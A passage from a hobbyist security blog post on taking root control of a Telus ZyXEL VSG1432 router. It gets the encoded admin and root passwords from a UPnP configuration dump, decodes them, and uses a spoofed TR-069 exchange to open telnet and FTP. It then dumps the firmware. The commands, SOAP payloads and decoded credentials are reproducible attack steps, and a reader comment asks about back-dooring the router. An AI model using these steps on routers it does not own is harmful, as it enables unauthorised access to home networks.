 <HostMacAddr>00:23:12:02:ab:0d</HostMacAddr>
 </HostConfig>
 <HostConfig instance="48">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>00:c0:ca:69:af:4c</HostMacAddr>
 </HostConfig>
 <HostConfig instance="49">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>00:87:12:23:13:2f</HostMacAddr>
 </HostConfig>
 <HostConfig instance="50">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>30:b5:c2:05:de:74</HostMacAddr>
 </HostConfig>
 <HostConfig instance="51">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>18:87:96:54:14:3b</HostMacAddr>
 </HostConfig>
 <HostConfig instance="52">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>94:eb:cd:53:5b:c4</HostMacAddr>
 </HostConfig>
 <HostConfig instance="53">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>6c:40:08:a5:bb:82</HostMacAddr>
 </HostConfig>
 <HostConfig instance="54">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>88:cb:87:1f:9b:78</HostMacAddr>
 </HostConfig>
 <HostConfig instance="55">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>3c:15:c2:df:47:ee</HostMacAddr>
 </HostConfig>
 <HostConfig instance="56">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>1c:af:05:28:10:76</HostMacAddr>
 </HostConfig>
 <HostConfig instance="57">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>34:de:1a:0d:8f:c7</HostMacAddr>
 </HostConfig>
 <HostConfig instance="58">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>80:60:07:5f:c1:59</HostMacAddr>
 </HostConfig>
 <HostConfig instance="59">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>3c:15:c2:e7:77:a8</HostMacAddr>
 </HostConfig>
 <HostConfig instance="60">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>14:30:c6:a9:02:0f</HostMacAddr>
 </HostConfig>
 <HostConfig instance="61">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>00:0d:81:af:0c:e8</HostMacAddr>
 </HostConfig>
 <HostConfig instance="62">
 <HostIPAddr>192.168.1.XX</HostIPAddr>
 <HostIsSTB>FALSE</HostIsSTB>
 <IGMPEnable>TRUE</IGMPEnable>
 <HostMacAddr>68:5d:43:56:b3:a5</HostMacAddr>
 </HostConfig>
 <HostConfig nextInstance="63" ></HostConfig>
 </X_5067F0_IGMP>
 <X_5067F0_NAT_Session>
 <maxsession>0</maxsession>
 </X_5067F0_NAT_Session>
 </InternetGatewayDevice>
</DslCpeConfig>

upnp>

 

Bingo. So did anyone else notice the AdminPassword, TechPassword and RootPassword tags, as well as the UserName and Password tags?

 

<AdminPassword>ZFQyN01hQ2UyWVpQAA==</AdminPassword>
<UserName>tech</UserName>
<Password>eU5rV2lUZ3hlMEZHAA==</Password>
<UserName>admin</UserName>
<Password>WW9naTgyOAA=</Password>

 

These couldn’t just be base64 encoded versions of the passwords right?

 

nada@nemph:~/working/zyxel_vsg1432$ python
Python 2.7.9 (default, Mar  1 2015, 12:57:24) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode('ZFQyN01hQ2UyWVpQAA==')
'dT27MaCe2YZP\x00'
>>> 
nada@nemph:~/working/zyxel_vsg1432$

 

So, is the root password ‘dT27MaCe2YZP’?

ZyXEL root login

Yes. Yes it is. Achievement Unlocked. My friend was impressed. I, on the other hand, was not. It shouldn’t be that easy. Other details in the config include WiFi keys, including those for other SSIDs and various low level configuration. At least with the web interface you need to log in to get a backup of the configuration.

I’d recommend that people disable UPnP (if possible), especially if they let randoms connect to their WiFi. There’s a tool to automate the password recovery process at http://github.com/nada-labs/zyxel-tools.git for the people who want more access to their routers than Telus gives them.

Getting the firmware image

So I had control of the router, yet still no firmware image. Buried in the configuration were the firewall settings for Telnet, FTP and SSH, all of which were set to DENY_ALL. How to change them to LAN_ONLY? I could edit the config and upload a new one, however that might reboot the router and I’d like to avoid that. I do have the ability to change the ManagementServer settings, including the URL it talks to, via the web interface or UPnP. After spending some time reading the specification of TR069 I learnt that it’s a remote configuration protocol used by ISPs (Urrgh) to setup and troubleshoot routers on their network and it’s based on SOAP (Ewww).

All I needed was to be able to set a few parameters on this router once it connects. Most of the TR069 software out there was complete overkill, however I found a great example of the CPE Provisioning process, including the SetParameterValues method. A quick bash up of the raw HTTP responses that were required and a netcat listener later I was ready to give it a shot.

POST / HTTP/1.1
Host: 192.168.1.81:80
User-Agent: BCM_TR69_CPE_04_00
Connection: keep-alive
SOAPAction: 
Content-Type: text/xml
Content-Length: 3159

<SOAP-ENV:Envelope
    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:cwmp="urn:dslforum-org:cwmp-1-0">
    <SOAP-ENV:Header>
      <cwmp:ID SOAP-ENV:mustUnderstand="1">1117230366</cwmp:ID>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
      <cwmp:Inform>
        <DeviceId>
          <Manufacturer>TELUS</Manufacturer>
          <OUI>5067F0</OUI>
          <ProductClass>VSG1432</ProductClass>
          <SerialNumber>S121K09008230</SerialNumber>
        </DeviceId>
        <Event SOAP-ENC:arrayType="cwmp:EventStruct[1]">
          <EventStruct>
            <EventCode>0 BOOTSTRAP</EventCode>
            <CommandKey></CommandKey>
          </EventStruct>
        </Event>
        <MaxEnvelopes>1</MaxEnvelopes>
        <CurrentTime>2015-09-28T15:28:18-08:00</CurrentTime>
        <RetryCount>3</RetryCount>
        <ParameterList SOAP-ENC:arrayType="cwmp:ParameterValueStruct[0008]">
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.DeviceSummary</Name>
              <Value xsi:type="xsd:string">InternetGatewayDevice:1.4[](Baseline:1, EthernetLAN:1, Time:1, IPPing:1, DeviceAssociation:1, EthernetWAN:1, VDSL2WAN:1, ADSLWAN:1, ATMLoopback:1, DSLDiagnostics:1, WiFiLAN:1, TraceRoute:1, X_5067F0_Nslookup:1, X_5067F0_TrustDomain:1)</Value>
            </ParameterValueStruct>
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.DeviceInfo.SpecVersion</Name>
              <Value xsi:type="xsd:string">1.0</Value>
            </ParameterValueStruct>
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.DeviceInfo.HardwareVersion</Name>
              <Value xsi:type="xsd:string">tmp_hardware1.0</Value>
            </ParameterValueStruct>
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.DeviceInfo.SoftwareVersion</Name>
              <Value xsi:type="xsd:string">1.10(VFA.0)b8</Value>
            </ParameterValueStruct>
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.DeviceInfo.ProvisioningCode</Name>
              <Value xsi:type="xsd:string"></Value>
            </ParameterValueStruct>
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.ManagementServer.ConnectionRequestURL</Name>
              <Value xsi:type="xsd:string">http://66.183.0.0:7547/tr069</Value>
            </ParameterValueStruct>
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.ManagementServer.ParameterKey</Name>
              <Value xsi:type="xsd:string">1773896105</Value>
            </ParameterValueStruct>
            <ParameterValueStruct>
              <Name>InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.WANIPConnection.1.ExternalIPAddress</Name>
              <Value xsi:type="xsd:string">66.183.0.0</Value>
            </ParameterValueStruct>
        </ParameterList>
      </cwmp:Inform>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>                                        
HTTP/1.1 200 OK
Content-Type: text/xml; charset=ISO-8859-1
Content-Length: 541

<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Header>
        <cwmp:ID soapenv:mustUnderstand="1">1117230366</cwmp:ID>
    </soapenv:Header>
    <soapenv:Body>
        <cwmp:InformResponse>
            <MaxEnvelopes>1</MaxEnvelopes>
        </cwmp:InformResponse>
    </soapenv:Body>
</soapenv:Envelope>
POST / HTTP/1.1
Host: 192.168.1.81:80
User-Agent: BCM_TR69_CPE_04_00
Connection: keep-alive
SOAPAction: 
Content-Type: text/xml
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/xml; charset=ISO-8859-1
Content-Length: 1090

<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Header>
        <cwmp:ID soapenv:mustUnderstand="1">472554387</cwmp:ID>
    </soapenv:Header>
    <soapenv:Body>
        <cwmp:SetParameterValues>
            <ParameterList soap:arrayType="cwmp:ParameterValueStruct[2]">
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.X_5067F0_AccessServiceCfg.TelnetStatus</Name>
                    <Value xsi:type="xsd:string">LAN_ONLY</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.X_5067F0_AccessServiceCfg.FtpStatus</Name>
                    <Value xsi:type="xsd:string">LAN_ONLY</Value>
                </ParameterValueStruct>
            </ParameterList>
            <ParameterKey>1773896105</ParameterKey>
        </cwmp:SetParameterValues>
    </soapenv:Body>
</soapenv:Envelope>
POST / HTTP/1.1 
Host: 192.168.1.81:80 
User-Agent: BCM_TR69_CPE_04_00 
Connection: keep-alive 
SOAPAction:  
Content-Type: text/xml 
Content-Length: 574 
 
<SOAP-ENV:Envelope
    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:cwmp="urn:dslforum-org:cwmp-1-0">
    <SOAP-ENV:Header>
      <cwmp:ID SOAP-ENV:mustUnderstand="1">472554387</cwmp:ID>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
      <cwmp:SetParameterValuesResponse>
        <Status>0</Status>
      </cwmp:SetParameterValuesResponse>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
HTTP/1.1 204 No Content
Content-Length: 0
Content-Type: text/xml; charset=ISO8859-1

 

So, that worked. Lets see what telnet has.

 

nada@nemph:~/working/zyxel_vsg1432$ telnet 192.168.1.254
Trying 192.168.1.254...
Connected to 192.168.1.254.
Escape character is '^]'.
TELUS VSG1432
Login: root
Password: 
 > ?
?
help
logout
exit
quit
reboot
df
meminfo
kill
echo
ifconfig
ping
ps
pwd
sysinfo
tftp
wlctl
arp
lan
lanhosts
restoredefault
save
swversion
wlan
tr069
vcautohunt
dhcpcondserv
tr69c
 > ls
telnetd:error:513.028:processInput:516:unrecognized command ls
 > cd
telnetd:error:516.168:processInput:516:unrecognized command cd
 > echo "Well this blows"
Well this blows
 > quit

Bye bye. Have a nice day!!!
Connection closed by foreign host.
nada@nemph:~/working/zyxel_vsg1432$

 

That was probably about the most useless shell there is. The tftp function was only for getting a firmware upgrade and it was unable to backup the current image. There are more commands available aside from what is listed. These include cat, iptables and brctl so it would be possible to set the router into bridged mode from the shell if required.

Hopefully FTP will be better.

 

nada@nemph:~/working/zyxel_vsg1432$ ftp 192.168.1.254
Connected to 192.168.1.254.
220 Ftp firmware update utility
Name (192.168.1.254:nada): root
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT 192.168.1.XX:54848 OK
150 BINARY data connection established.
226 Directory list has been submitted.
ftp> cd /dev
451 Error: Unauthorized directory.
ftp> get /dev/mtdblock0 block0
local: block0 remote: /dev/mtdblock0
200 PORT 192.168.1.XX:39129 OK
150 BINARY data connection established.
226 File transmission successful.
5783552 bytes received in 2.09 secs (2.6385 MB/s)
ftp> get /dev/mtdblock1 block1
local: block1 remote: /dev/mtdblock1
200 PORT 192.168.1.XX:59781 OK
553 Error: No such device or address.
ftp> get /dev/mtdblock2 block2
local: block2 remote: /dev/mtdblock2
200 PORT 192.168.1.XX:51193 OK
553 Error: No such device or address.
ftp> get /dev/mtdblock3 block3
local: block3 remote: /dev/mtdblock3
200 PORT 192.168.1.XX:41470 OK
553 Error: No such device or address.
ftp> get /dev/mtdblock4 block4
local: block4 remote: /dev/mtdblock4
200 PORT 192.168.1.XX:55605 OK
553 Error: No such device or address.
ftp> get /dev/mtdblock5 block5
local: block5 remote: /dev/mtdblock5
200 PORT 192.168.1.XX:44789 OK
553 Error: No such device or address.
ftp> quit
221 See you later...
nada@nemph:~/working/zyxel_vsg1432$

 

Yee Ha. Directory listings don’t work for some reason (probably because ls isn’t in the firmware image.) but I was able to get a copy of the flash block. Lets see what it is.

 

nada@nemph:~/working/zyxel_vsg1432$ binwalk block0 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Squashfs filesystem, little endian, non-standard signature,  version 4.0, compression:gzip, size: 5780238 bytes,  1041 inodes, blocksize: 65536 bytes, created: Mon Mar 12 03:37:54 2012

nada@nemph:~/working/zyxel_vsg1432$

 

Yup, that’s the firmware alright. Stay tuned for part two where I take a look at the firmware and find some interesting things…

, , , , , , , ,

  1. #1 by Kyo on January 3, 2016 - 1:40 pm

    Hi! nice info!

    I’m trying to change in my router, a ZTE model with tr069 active, the ACL control list that I accidentally enabled and lost LAN/WAN http access, yeah I know,.. can you explain me a little bit more of the TR069 config modification that you used in here?

  2. #2 by nada on January 3, 2016 - 5:06 pm

    I changed the tr069 server using the web interface, and then requested a connect back from the router using the information in the configuration. If the tr069 server is still set to your ISPs default, you won’t be able to use that method. If you do some probing with miranda.py of your router, you may be able to download the config using the GetConfiguration method, remove the ACLs and then re-upload it using the SetConfiguration method.

    The quickest way is going to be a factory reset, after which your router will re-configure itself from your ISP and then you should be able to log in with the username and password on your router.

  3. #3 by Kyo on January 3, 2016 - 9:53 pm

    Hi Nada, thanks for your time!!

    I don’t wanted to reset to defaults because ISP is a pain in the *** with the support for configuration of the routers, they don’t have autoconfig enabled…

    The more bad news is that the router don’t have upnp enabled… so I will keep searching for other way, I have found other sources but requires serial connection to router that I don;t have also jeje.

    Anyways, thanks again for your time!

  4. #4 by Mike on March 29, 2016 - 5:39 pm

    Has Telus changed the password again?

  5. #5 by nada on March 29, 2016 - 6:14 pm

    It looks like the passwords are now unique to each router and configured when the router is first provisioned.

  6. #6 by doh on May 11, 2016 - 8:30 pm

    Tried running the zyxel python script and got the following, any ideas?

    //////////////////////////////////////////

    Discover mode halted…
    Requesting device and service info for 192.168.1.254:1780 (this could take a few seconds)…
    Host data enumeration complete! Checking for GetConfiguration action…
    Requesting device and service info for 192.168.1.254:5431 (this could take a few seconds)…
    Host data enumeration complete! Checking for GetConfiguration action…
    Requesting device and service info for 192.168.1.254:49431 (this could take a few seconds)…
    Host data enumeration complete! Checking for GetConfiguration action…
    …Got it! Grabbing the config.
    Traceback (most recent call last):
    File “zyxel_passwords.py”, line 97, in
    p = dump_passwords(cfg)
    File “zyxel_passwords.py”, line 21, in dump_passwords
    r = ET.fromstring(cfg)
    File “/usr/lib/python2.7/xml/etree/ElementTree.py”, line 1300, in XML
    parser.feed(text)
    File “/usr/lib/python2.7/xml/etree/ElementTree.py”, line 1642, in feed
    self._raiseerror(v)
    File “/usr/lib/python2.7/xml/etree/ElementTree.py”, line 1506, in _raiseerror
    raise err
    xml.etree.ElementTree.ParseError: not well-formed (invalid token): line 1657, column 28

  7. #7 by nada on May 14, 2016 - 7:48 am

    Looks like the config file is stuffed. You might want to use miranda directly, as I did in the post, in order to download the config.
    Have lots of scrollback in your console or redirect all output through tee.

    -nada

  8. #8 by Adam on January 31, 2017 - 3:19 pm

    So each Zyxel 1432 for telus has its own unique ROOT password?

  9. #9 by nada on January 31, 2017 - 6:06 pm

    Appears to be that way for this firmware from Telus, which is doing things the right way. Exposing it to whoever asks isn’t.

  10. #10 by adam on February 2, 2017 - 12:17 pm

    what in your opinion would be the best password software recovery for back-dooring this router

  11. #11 by adam on February 2, 2017 - 12:19 pm

    one thing I am not keen on is my ISP doing things on the sly

(will not be published)